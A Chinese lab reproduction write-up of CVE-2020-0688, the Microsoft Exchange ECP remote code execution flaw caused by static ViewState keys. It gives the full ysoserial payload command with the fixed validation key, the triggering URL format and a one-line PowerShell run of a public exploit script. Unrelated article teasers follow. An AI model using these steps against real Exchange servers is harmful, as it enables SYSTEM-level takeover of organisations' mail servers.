CVE-2020-0688 远程代码执行漏洞

2024-05-31 23:12

本文主要是介绍CVE-2020-0688 远程代码执行漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CVE-2020-0688 远程代码执行漏洞

漏洞产生的主要原因就是在Exchange ECP组件中发现,邮件服务在安装的过程中不会随机生成秘钥,也就是说所有默认安装的Exchange服务器中的validationKey和decryptionKey的值都是相同的,攻击者可以利用静态秘钥对服务器发起攻击,在服务器中以SYSTEM权限远程执行代码

当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时。攻击者可以在 被攻击的exchange上执行任意代码,直接获取服务器权限

影响版本

  • Microsoft Exchange Server 2010 Service Pack 3
  • Microsoft Exchange Server 2013
  • Microsoft Exchange Server 2016
  • Microsoft Exchange Server 2019

漏洞利用前提

  • 获得一个邮件用户密码,且该邮箱登录过exchange

环境安装

参考:exchange2016安装

  • 实验环境:Exchange Server 2016 RTM 15.1.225.42

漏洞复现

手动复现
  1. 获取 __VIEWSTATEGENERATOR 和 ASP.NET_SessionId 的值

使用普通域用户(获取的邮箱用户)hacker登录管理中心/ecp/,定位到/ecp/,在其响应头中获取ASP.NET_SessionId 的值。同时在响应体中获得 __VIEWSTATEGENERATOR 的值,默认为“B97B4E27”

  • ASP.NET_SessionId = 7b9b620b-74bf-4cd2-a9c1-445d5f1720ae
  • __VIEWSTATEGENERATOR = B97B4E27

  1. 生成反序列化Payload

使用 ysoserial.exe 生成反序列化Payload,命令如下

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c notepad.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="f3107c61-7f93-4ea3-8673-1e741c3ad634" --isdebug -islegacy
  • validationkey=CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF,这是固定的值,这是此漏洞产生的原因,修复补丁之后此值会做随机化处理
  • --generator="B97B4E27",这是返回包中获得 __VIEWSTATEGENERATOR 的值
  • --viewstateuserkey="f3107c61-7f93-4ea3-8673-1e741c3ad634",这是请求包中ASP.NET.SessionID的值

将生成的payload进行 url 编码

拼接为如下格式

https://192.168.59.131/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=url编码后的payload

保持用户hacker在登录的情况下,直接在浏览器中访问即可触发以system权限的命令执行

工具一键利用

poc:GitHub - MrTiz/CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server through fixed cryptographic keys

PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://192.168.59.131' -Username 'test.lab\hacker' -Password 'hacker.com' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\admin\Desktop\CVE-2020-0688-main\ysoserial\ysoserial.exe'

执行如上所示,exchange机器中将被成功创建C:/whoami.txt文件

这篇关于CVE-2020-0688 远程代码执行漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1019312

相关文章

Java进阶学习之如何开启远程调式

《Java进阶学习之如何开启远程调式》Java开发中的远程调试是一项至关重要的技能,特别是在处理生产环境的问题或者协作开发时,:本文主要介绍Java进阶学习之如何开启远程调式的相关资料,需要的朋友... 目录概述Java远程调试的开启与底层原理开启Java远程调试底层原理JVM参数总结&nbsMbKKXJx

Python结合Flask框架构建一个简易的远程控制系统

《Python结合Flask框架构建一个简易的远程控制系统》这篇文章主要为大家详细介绍了如何使用Python与Flask框架构建一个简易的远程控制系统,能够远程执行操作命令(如关机、重启、锁屏等),还... 目录1.概述2.功能使用系统命令执行实时屏幕监控3. BUG修复过程1. Authorization

pycharm远程连接服务器运行pytorch的过程详解

《pycharm远程连接服务器运行pytorch的过程详解》:本文主要介绍在Linux环境下使用Anaconda管理不同版本的Python环境,并通过PyCharm远程连接服务器来运行PyTorc... 目录linux部署pytorch背景介绍Anaconda安装Linux安装pytorch虚拟环境安装cu

MobaXterm远程登录工具功能与应用小结

《MobaXterm远程登录工具功能与应用小结》MobaXterm是一款功能强大的远程终端软件,主要支持SSH登录,拥有多种远程协议,实现跨平台访问,它包括多会话管理、本地命令行执行、图形化界面集成和... 目录1. 远程终端软件概述1.1 远程终端软件的定义与用途1.2 远程终端软件的关键特性2. 支持的

VScode连接远程Linux服务器环境配置图文教程

《VScode连接远程Linux服务器环境配置图文教程》:本文主要介绍如何安装和配置VSCode,包括安装步骤、环境配置(如汉化包、远程SSH连接)、语言包安装(如C/C++插件)等,文中给出了详... 目录一、安装vscode二、环境配置1.中文汉化包2.安装remote-ssh,用于远程连接2.1安装2

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

Xshell远程连接失败以及解决方案

《Xshell远程连接失败以及解决方案》本文介绍了在Windows11家庭版和CentOS系统中解决Xshell无法连接远程服务器问题的步骤,在Windows11家庭版中,需要通过设置添加SSH功能并... 目录一.问题描述二.原因分析及解决办法2.1添加ssh功能2.2 在Windows中开启ssh服务2

Python实现局域网远程控制电脑

《Python实现局域网远程控制电脑》这篇文章主要为大家详细介绍了如何利用Python编写一个工具,可以实现远程控制局域网电脑关机,重启,注销等功能,感兴趣的小伙伴可以参考一下... 目录1.简介2. 运行效果3. 1.0版本相关源码服务端server.py客户端client.py4. 2.0版本相关源码1

usaco 1.3 Mixing Milk (结构体排序 qsort) and hdu 2020(sort)

到了这题学会了结构体排序 于是回去修改了 1.2 milking cows 的算法~ 结构体排序核心: 1.结构体定义 struct Milk{int price;int milks;}milk[5000]; 2.自定义的比较函数,若返回值为正,qsort 函数判定a>b ;为负,a<b;为0,a==b; int milkcmp(const void *va,c

远程工具-SecureCRT/SecureFX

下载地址: https://www.portablesoft.org/securecrt-securefx-integrated/